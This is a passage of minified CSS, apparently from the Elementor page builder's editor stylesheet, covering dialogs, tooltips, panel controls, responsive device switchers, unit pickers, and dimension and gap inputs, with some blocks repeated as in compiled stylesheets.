var(--e-a-color-txt-disabled); } #elementor-element--promotion__dialog .dialog-header .eicon-close:hover { color: var(--e-a-color-txt-muted); } #elementor-element--promotion__dialog .dialog-message { padding: 20px; } #elementor-element--promotion__dialog .dialog-buttons-wrapper { padding: 0 20px 20px; } #elementor-element--promotion__dialog .dialog-button { padding: 7px 25px; font-size: 12px; } .dialog-tooltip-widget { position: absolute; width: 300px; z-index: 1; background-color: var(--e-a-bg-default); box-shadow: 0 2px 15px rgba(0, 0, 0, 0.3); border-radius: 3px; } .dialog-tooltip-widget:after { content: ""; position: absolute; top: 15px; left: 100%; transform: scaleY(0.7); border: 10px solid transparent; border-inline-end-color: var(--e-a-bg-default); } .dialog-tooltip-widget__title { font-size: 14px; } .dialog-tooltip-widget .dialog-tooltip-header { display: flex; padding: 20px 20px 0; color: var(--e-a-color-txt); border-block-end: 1px solid var(--e-a-bg-default); font-weight: 500; } .dialog-tooltip-widget .dialog-tooltip-header .eicon-pro-icon { flex-grow: 1; margin-inline-start: 10px; font-size: 14px; color: #93003f; } .dialog-tooltip-widget .dialog-tooltip-header .eicon-close { cursor: pointer; margin-inline-start: auto; color: var(--e-a-color-txt); } .dialog-tooltip-widget .dialog-tooltip-message { padding: 20px; } .dialog-tooltip-widget .dialog-tooltip-buttons-wrapper { padding: 0 20px 20px 20px; text-align: end; } .dialog-tooltip-widget .dialog-tooltip-button { padding: 7px 25px; font-size: 12px; } .dialog-tooltip-widget .dialog-tooltip-button::-moz-focus-inner { border: 0; } #elementor-panel-inner { position: relative; height: 100%; display: flex; flex-direction: column; box-shadow: 0 0 5px 0 rgba(0, 0, 0, 0.1); } #elementor-panel-content-wrapper { position: relative; width: 100%; flex: 1; } .elementor-panel-container { clear: both; padding-inline-start: 15px; padding-inline-end: 15px; } #elementor-panel-get-pro-elements .elementor-nerd-box-message { margin-block-start: 10px; } #elementor-panel-get-pro-elements .elementor-nerd-box-icon { margin-block-start: 20px; } #elementor-panel-get-pro-elements-sticky { position: sticky; bottom: 0; font-size: 14px; font-weight: 400; line-height: 1.6; margin-block-end: -10px; } #elementor-panel-get-pro-elements-sticky .elementor-get-pro-sticky-message { margin-top: -14px; min-height: 40px; display: block; padding: 9px min(35px, 5%); gap: 10px; background-color: var(--e-a-color-white); color: var(--e-a-color-black); text-align: center; box-shadow: 0px -10px 14px -6px rgba(0, 0, 0, 0.05); } #elementor-panel-get-pro-elements-sticky .elementor-get-pro-sticky-message a { display: inline-block; font-size: 13px; font-weight: 500; color: var(--e-a-btn-bg-accent); } #elementor-panel-get-pro-elements-sticky img { margin-left: 17px; } #elementor-panel-notice-wrapper .elementor-panel-notice { width: 90%; margin: 0 auto; font-style: unset; margin-block-end: 15px; } #elementor-panel-notice-wrapper .elementor-panel-notice a { font-weight: bold; font-style: italic; border-block-end: 2px dotted var(--e-a-color-info); display: inline-block; } body.e-has-notification:not(.e-route-panel-menu) #elementor-panel-header-menu-button, body.e-has-notification .elementor-panel-menu-item.elementor-panel-menu-item-notification-center .elementor-panel-menu-item-icon { position: relative; } body.e-has-notification:not(.e-route-panel-menu) #elementor-panel-header-menu-button:after, body.e-has-notification .elementor-panel-menu-item.elementor-panel-menu-item-notification-center .elementor-panel-menu-item-icon:after { position: absolute; content: ""; display: block; background: var(--e-a-color-primary); border-radius: 50%; width: 8px; height: 8px; top: 5px; right: 5px; } .media-modal.wp-core-ui { color-scheme: light; color: #515962; } .media-modal.wp-core-ui select { width: initial; padding-inline: 8px; } .media-modal.wp-core-ui fieldset { padding: 0; border: 0; } .elementor-control { --control-title-size: 12px; position: relative; padding: 0 20px 15px; } .elementor-control a { font-weight: 500; text-decoration: none; border-block-end: 1px dotted transparent; transition: all ease-in-out 0.3s; } .elementor-control a:hover { border-block-end-color: inherit; } .elementor-control .elementor-control-content { display: flex; flex-direction: column; } .elementor-control .elementor-control-title { font-size: var(--control-title-size); line-height: 1; margin-inline-end: 5px; } .elementor-control .elementor-control-title:empty { display: none; } .elementor-control .elementor-control-spinner { display: flex; align-items: center; } .elementor-control.elementor-control-type-divider { padding: 0; } .elementor-control.elementor-control-type-divider .elementor-control-content { border-width: 0; border-block-start: var(--e-a-border); background-color: var(--e-a-bg-default); height: 15px; } .elementor-control.elementor-control-separator-before { padding-block-start: 15px; } .elementor-control.elementor-control-separator-before:before { content: ""; position: absolute; height: 1px; width: calc(100% - 40px); top: 0; right: 20px; background-color: var(--e-a-border-color); } .elementor-control.elementor-control-separator-after:after { content: ""; position: absolute; height: 1px; width: calc(100% - 40px); bottom: 0; right: 20px; background-color: var(--e-a-border-color); } .elementor-control.elementor-control-separator-after + .elementor-control-type-tabs + .elementor-control-separator-default, .elementor-control.elementor-control-separator-after:not(.elementor-hidden-control) + .elementor-control-separator-default { padding-block-start: 15px; } .elementor-control.elementor-control-deprecated { color: var(--e-a-color-warning); } .elementor-control.elementor-control-deprecated .elementor-control-field-description { color: var(--e-a-color-warning); } .elementor-control.elementor-control-hidden-label > * > .elementor-control-title, .elementor-control.elementor-control-hidden-label > * > * > .elementor-control-title { display: none; } .elementor-control.elementor-hidden-control { display: none; } .elementor-control.elementor-control-type-heading .elementor-control-title { font-weight: bold; margin: 0; } body:not(.elementor-device-widescreen) .elementor-control.elementor-control-responsive-widescreen { display: none; } body:not(.elementor-device-desktop) .elementor-control.elementor-control-responsive-desktop { display: none; } body:not(.elementor-device-laptop) .elementor-control.elementor-control-responsive-laptop { display: none; } body:not(.elementor-device-tablet_extra) .elementor-control.elementor-control-responsive-tablet_extra { display: none; } body:not(.elementor-device-tablet) .elementor-control.elementor-control-responsive-tablet { display: none; } body:not(.elementor-device-mobile_extra) .elementor-control.elementor-control-responsive-mobile_extra { display: none; } body:not(.elementor-device-mobile) .elementor-control.elementor-control-responsive-mobile { display: none; } .elementor-control-custom_css_pro .elementor-nerd-box-message, .elementor-control-custom_attributes_pro .elementor-nerd-box-message { margin-block-start: 5px; } .elementor-control.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-control.elementor-active .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category.elementor-active .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item.elementor-active .elementor-panel-heading-toggle .eicon:before { content: "\e92a"; } .elementor-control:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before { content: "\e909"; } .elementor-panel-heading { display: flex; align-items: center; gap: 5px; height: 48px; padding-inline: 20px; width: 100%; border: 0; border-block-start: var(--e-a-border); border-block-start-width: 2px; background-color: transparent; color: var(--e-a-color-txt-accent); cursor: pointer; } .elementor-panel-heading-toggle { width: 10px; display: flex; flex-direction: column; align-items: center; } .elementor-panel-heading-title { font-weight: bold; } .elementor-panel-heading-promotion { margin-inline-start: auto; } .elementor-panel-heading-promotion a { color: var(--e-a-color-accent-promotion); font-family: "Roboto", sans-serif; font-weight: 500; font-size: 13px; } .elementor-panel-heading-promotion a i { margin-inline-end: 4px; font-size: 14px; } .elementor-panel-heading-promotion a:hover { color: var(--e-a-color-accent-promotion); } .elementor-panel-heading:focus-visible { color: var(--e-a-color-txt-hover); } #elementor-controls .elementor-control-type-section:first-child .elementor-panel-heading { border-block-start: none; } .elementor-control-field { display: flex; align-items: center; } .elementor-label-block > .elementor-control-content > .elementor-control-field { flex-wrap: wrap; } .elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { width: 100%; max-width: 100%; margin-block-start: 10px; } .elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper > .elementor-choices label { width: auto; flex: 1 1 27px; display: flex; align-items: center; justify-content: center; } .elementor-label-block.elementor-control-hidden-label:not(.elementor-control-dynamic) > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-label-block.elementor-control-hidden-label.elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-label-inline > .elementor-control-content > .elementor-control-field > .elementor-control-title { flex-shrink: 0; max-width: 60%; } .elementor-label-inline > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-inline-start: auto; } .elementor-control-field-description { margin-block-start: 10px; } .elementor-group-control-attachment_alert .elementor-control-field-description { margin-block-start: 0; } .elementor-control-start-end .eicon-h-align-left, .elementor-control-start-end .eicon-h-align-right { transform: rotate(180deg); } .elementor-update-preview { margin: 15px 15px 0; display: flex; align-items: center; } .elementor-update-preview-button-wrapper { flex-grow: 1; text-align: end; } .elementor-update-preview-button { padding: 8px 15px; } .elementor-control-direction-ltr input, .elementor-control-direction-ltr textarea { direction: ltr; } .elementor-control-direction-rtl input, .elementor-control-direction-rtl textarea { direction: rtl; } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; right: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-alert { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 8px; } .elementor-control-alert-heading { font-weight: bold; } .elementor-control-type-button .elementor-control-input-wrapper { text-align: end; } .elementor-control-type-button .elementor-button { width: auto; } .elementor-control-type-button .elementor-button.elementor-button-center { display: block; margin: 0 auto; } .elementor-control-type-choose.elementor-label-block .elementor-choices { width: 100%; } .elementor-choices { display: flex; height: 27px; line-height: 27px; text-align: center; border-spacing: 1px; border-radius: var(--e-a-border-radius); overflow: hidden; } .elementor-choices .elementor-choices-label { border-block-start: var(--e-a-border-bold); border-block-end: var(--e-a-border-bold); border-inline-start: var(--e-a-border-bold); border-inline-end: none; font-size: 12px; transition: var(--e-a-transition-hover); cursor: pointer; overflow: hidden; } .elementor-choices .elementor-choices-label:nth-child(2) { border-start-start-radius: var(--e-a-border-radius); border-end-start-radius: var(--e-a-border-radius); } .elementor-choices .elementor-choices-label:last-child { border-inline-end: var(--e-a-border-bold); border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-choices input { display: none; } .elementor-choices input:hover + .elementor-choices-label { background-color: var(--e-a-bg-hover); } .elementor-choices input.e-choose-placeholder + .elementor-choices-label, .elementor-choices input:checked + .elementor-choices-label { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); } .elementor-label-inline .elementor-choices { justify-content: flex-end; } .elementor-control-type-color.e-control-global .pickr { border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); flex-shrink: 0; border-color: var(--e-a-border-color-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-color.e-control-global .pickr:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-color.e-control-global .e-global__popover-toggle:not(.e-global__popover-toggle--active) ~ .pickr { background-color: var(--e-a-bg-active-bold); } .elementor-control-type-color .elementor-control-title { flex-grow: 1; } .elementor-control-type-color .elementor-control-input-wrapper { display: flex; justify-content: flex-end; } .elementor-group-control-css-filter .elementor-slider { height: 6px; box-shadow: 0 0 1px 1px inset rgba(0, 0, 0, 0.2); } .elementor-group-control-css-filter .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; margin-block-end: 5px; } .elementor-group-control-blur .elementor-slider { background: url("../images/blur.png"); background-size: cover; background-position: center; } .elementor-group-control-contrast .elementor-slider { background: url("../images/contrast.png"); background-size: 100% 100%; } .elementor-group-control-hue .elementor-slider { background-image: linear-gradient(to right, red, orange, yellow, greenyellow, limegreen, deepskyblue, blue, darkviolet 95%); } .elementor-group-control-saturate .elementor-slider { background-image: linear-gradient(to right, gray, red); } .elementor-group-control-brightness .elementor-slider { background-image: linear-gradient(to right, black, white); } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; right: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-type-dimensions .elementor-control-dimensions { display: flex; } .elementor-control-type-dimensions li { flex: 1; transition: flex-grow 0.3s ease-in-out; } .elementor-control-type-dimensions li input, .elementor-control-type-dimensions li .elementor-link-dimensions { display: block; text-align: center; width: 100%; height: 27px; } .elementor-control-type-dimensions li input { border-inline-start: none; border-radius: 0; padding: var(--e-a-border-radius); } .elementor-control-type-dimensions li input:focus { border-inline-start: var(--e-a-border-bold); margin-inline-start: -1px; width: calc(100% + 1px); } .elementor-control-type-dimensions li input:focus + .elementor-control-dimension-label { color: var(--e-a-color-txt); } .elementor-control-type-dimensions li .elementor-link-dimensions { border: var(--e-a-border-bold); border-inline-start: none; background-color: var(--e-a-bg-default); padding: 0; outline: none; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-control-type-dimensions li:first-child input { border-inline-start: 1px solid var(--e-a-border-color-bold); border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-dimensions li:first-child input:focus { border-color: var(--e-a-border-color-focus); margin-inline-start: 0; width: 100%; } .elementor-control-type-dimensions li:last-child { max-width: 27px; } .elementor-control-type-dimensions.e-units-custom li.elementor-control-dimension:focus-within { flex: 2.5; } .elementor-control-type-dimensions .elementor-control-dimension-label { color: var(--e-a-color-txt-muted); display: block; text-align: center; font-size: 9px; padding-block-start: 5px; } .elementor-control-type-dimensions .elementor-link-dimensions.unlinked { background-color: var(--e-a-bg-default); } .elementor-control-type-dimensions .elementor-link-dimensions.unlinked .elementor-linked { display: none; } .elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); border-color: var(--e-a-border-color-bold); } .elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) .elementor-unlinked { display: none; } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; right: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-type-gaps .elementor-control-gaps { display: flex; } .elementor-control-type-gaps li { flex: 1; transition: flex-grow 0.3s ease-in-out; } .elementor-control-type-gaps li input, .elementor-control-type-gaps li .elementor-link-gaps { display: block; text-align: center; width: 100%; height: 27px; } .elementor-control-type-gaps li input { border-inline-start: none; border-radius: 0; padding: var(--e-a-border-radius); } .elementor-control-type-gaps li input:focus { border-inline-start: var(--e-a-border-bold); margin-inline-start: -1px; width: calc(100% + 1px); } .elementor-control-type-gaps li input:focus + .elementor-control-gap-label { color: var(--e-a-color-txt); } .elementor-control-type-gaps li .elementor-link-gaps { border: var(--e-a-border-bold); border-inline-start: none; background-color: var(--e-a-bg-default); padding: 0; outline: none; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-control-type-gaps li:first-child input { border-inline-start: 1px solid var(--e-a-border-color-bold); border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-gaps li:first-child input:focus { border-color: var(--e-a-border-color-focus); margin-inline-start: 0; width: 100%; } .elementor-control-type-gaps li:last-child { max-width: 27px; } .elementor-control-type-gaps.e-units-custom li.elementor-control-gap:focus-within { flex: 2.5; } .elementor-control-type-gaps .elementor-control-gap-label { color: var(--e-a-color-txt-muted); display: block; text-align: center; font-size: 9px; padding-block-start: 5px; } .elementor-control-type-gaps .elementor-link-gaps.unlinked { background-color: var(--e-a-bg-default); } .elementor-control-type-gaps .elementor-link-gaps.unlinked .elementor-linked { display: none; } .elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); border-color: var(--e-a-border-color-bold); } .elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) .elementor-unlinked { display: none; } .elementor-control-type-icons .elementor-control-media__preview > * { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-control-type-icons .elementor-control-media__preview i { font-size: 70px; } .elementor-control-type-icons .elementor-control-media__preview svg { height: 75%; } .elementor-control-type-icons .elementor-control-icons--inline__svg i.eicon-upload { font-size: 15px; } .elementor-control-type-gallery .elementor-control-media__content { border: 